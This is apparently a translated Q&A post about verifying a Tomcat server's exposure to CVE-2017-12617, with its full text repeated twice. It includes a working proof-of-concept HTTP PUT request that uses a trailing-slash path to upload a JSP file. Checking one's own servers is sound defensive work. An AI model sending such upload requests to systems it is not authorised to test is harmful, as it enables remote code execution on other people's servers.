tomcat 漏洞的有效利用:JSP 上传绕过 CVE-2017-12617
Working Exploit for tomcat vulnerability : JSP Upload Bypass CVE-2017-12617
我有一个 tomcat 6.x, 7.x and 8.x and Jboss 7.2.x AS 服务器 运行在 windows 上。我在 webapps 目录下创建了一个 Web 应用程序。我修改了 $TOMCAT_HOME/conf/web.xml 并将 readonly 参数设置为 false(默认情况下为 true)。然后,我 运行 利用 https://www.exploit-db.com/exploits/42966/ —— 这是一个 python 脚本,它尝试使用 HTTP PUT 上传有效载荷。
我运行以下命令行:
python 42966.py -u http://localhost:9292/ExploitTest
我收到
1) 来自 tomcat 8.0.x、
的 Http 404 状态(未找到资源)
2) 来自 tomcat 6.x 和
的 Http 400 状态(错误请求)
3) 来自 tomcat 7.x.
的 Http 400 状态
我原以为 运行 上述 python 漏洞会导致 tomcat 服务器中的 HTTP 201(新创建的资源)。这个漏洞有什么问题?或者我没有为漏洞正确设置 tomcat 吗?是否存在基于 curl 或 java 或任何其他可用于此漏洞的有效利用,我可以使用它来验证我的服务器是否确实易受攻击?
在 https://www.peew.pw/blog/2017/10/9/new-vulnerability-same-old-tomcat-cve-2017-12615. Originally, the request is at https://bz.apache.org/bugzilla/show_bug.cgi?id=61542 上找到了答案。
我使用 Burp Suite 按照上面的方法制作了 POC 请求 link
PUT /1.jsp/ HTTP/1.1
Host: 192.168.3.103:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://192.168.3.103:8080/examples/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4,zh-TW;q=0.2
Cookie: JSESSIONID=A27674F21B3308B4D893205FD2E2BF94
Connection: close
Content-Length: 26
<% out.println("hello");%>
这样就可以了!
我有一个 tomcat 6.x, 7.x and 8.x and Jboss 7.2.x AS 服务器 运行在 windows 上。我在 webapps 目录下创建了一个 Web 应用程序。我修改了 $TOMCAT_HOME/conf/web.xml 并将 readonly 参数设置为 false(默认情况下为 true)。然后,我 运行 利用 https://www.exploit-db.com/exploits/42966/ —— 这是一个 python 脚本,它尝试使用 HTTP PUT 上传有效载荷。
我运行以下命令行:
python 42966.py -u http://localhost:9292/ExploitTest
我收到
1) 来自 tomcat 8.0.x、
的 Http 404 状态(未找到资源)
2) 来自 tomcat 6.x 和
的 Http 400 状态(错误请求)
3) 来自 tomcat 7.x.
我原以为 运行 上述 python 漏洞会导致 tomcat 服务器中的 HTTP 201(新创建的资源)。这个漏洞有什么问题?或者我没有为漏洞正确设置 tomcat 吗?是否存在基于 curl 或 java 或任何其他可用于此漏洞的有效利用,我可以使用它来验证我的服务器是否确实易受攻击?
在 https://www.peew.pw/blog/2017/10/9/new-vulnerability-same-old-tomcat-cve-2017-12615. Originally, the request is at https://bz.apache.org/bugzilla/show_bug.cgi?id=61542 上找到了答案。
我使用 Burp Suite 按照上面的方法制作了 POC 请求 link
PUT /1.jsp/ HTTP/1.1
Host: 192.168.3.103:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://192.168.3.103:8080/examples/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4,zh-TW;q=0.2
Cookie: JSESSIONID=A27674F21B3308B4D893205FD2E2BF94
Connection: close
Content-Length: 26
<% out.println("hello");%>
这样就可以了!